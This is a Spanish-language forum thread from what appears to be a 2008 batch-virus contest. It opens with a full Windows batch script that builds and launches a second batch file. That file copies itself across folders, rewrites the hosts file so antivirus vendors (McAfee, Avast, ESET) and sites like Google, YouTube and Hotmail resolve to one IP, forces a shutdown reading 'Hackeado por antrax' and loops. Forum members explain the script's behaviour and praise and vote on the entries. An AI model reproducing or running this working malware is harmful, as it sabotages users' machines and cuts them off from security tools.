copy /y %0 "C:\Archivos de programa\" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\Temp" >> C:\WINDOWS\vir1.bat
goto peris >> C:\WINDOWS\vir1.bat
:peris >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 www.mcafee.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 mcafee.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto rer >> C:\WINDOWS\vir1.bat

:rer >> C:\WINDOWS\vir1.bat
@echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 www.google.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 google.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto givix >> C:\WINDOWS\vir1.bat

:givix >> C:\WINDOWS\vir1.bat
@echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 www.avast.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 avast.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto carlos >> C:\WINDOWS\vir1.bat

:carlos >> C:\WINDOWS\vir1.bat
@echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 www.youtube.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 youtube.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto yulery >> C:\WINDOWS\vir1.bat

:yulery >> C:\WINDOWS\vir1.bat
@echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 www.hotmail.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 hotmail.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto medina >> C:\WINDOWS\vir1.bat

:medina >> C:\WINDOWS\vir1.bat
@echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 www.eset.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 eset.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto perro >> C:\WINDOWS\vir1.bat

:perro >> C:\WINDOWS\vir1.bat
@echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 www.firefox.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 firefox.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto virus >> C:\WINDOWS\vir1.bat
:virus >> C:\WINDOWS\vir1.bat
cls >> C:\WINDOWS\vir1.bat
echo shutdown -s -f -t 6 -c "Hackeado por antrax" >> C:\WINDOWS\vir1.bat
echo :hi >> C:\WINDOWS\vir1.bat
echo Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta >> C:\WINDOWS\vir1.bat
echo goto hi >> C:\WINDOWS\vir1.bat
start C:\WINDOWS\vir1.bat
exit

Bueno fue creado por theAntrax, y aqui su explicacion: primero queh todo esto es un bat que crea y ejecuta otro bat! Wink

este bat se agrega al registro, y borra el mouse del system, luego a las 00:00 se ejecuta de nuevo, luego agrega usuarios o mejor dicho crea nuevas sesiones, mata procesos, se copia muchas veces, y despues bloquea las paginas que aparecen en el codigo, luego hace shutdown de 6 segundos y luego crea un bucle para crear carpetas, y al final ejecuta el bat creado(El que acabo de explicar Wink

) bueno esperemos que se pueda registrar para que participe.

Bueno en parte tengo que a parte de agredecerles por participar felicitarlos a todos por sus codigos estan buenisimos, esto servira de aporte a sub-foro de batch, ojala y los mods lo tomen en cuenta! Tongue

bueno se me hace muy dificil de elegir pero voy a votar por, The shadow (aunque quisiera votar por todos Tongue

) ya que su code esta bueno, a parte de ser poliformico e interesante Wink

bueno un saludo y esperamos los votos de los demas! Tongue

y como dije espero que algun Mod tome esto encuenta! Tongue

Salu2's!

mañana ago pruebas con los bat y veo a kien dar mi voto aunque ya mas o menos tengo alguna idea...

sALuDos__

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Agosto 21, 2008, 11:11:14 Boton Buscar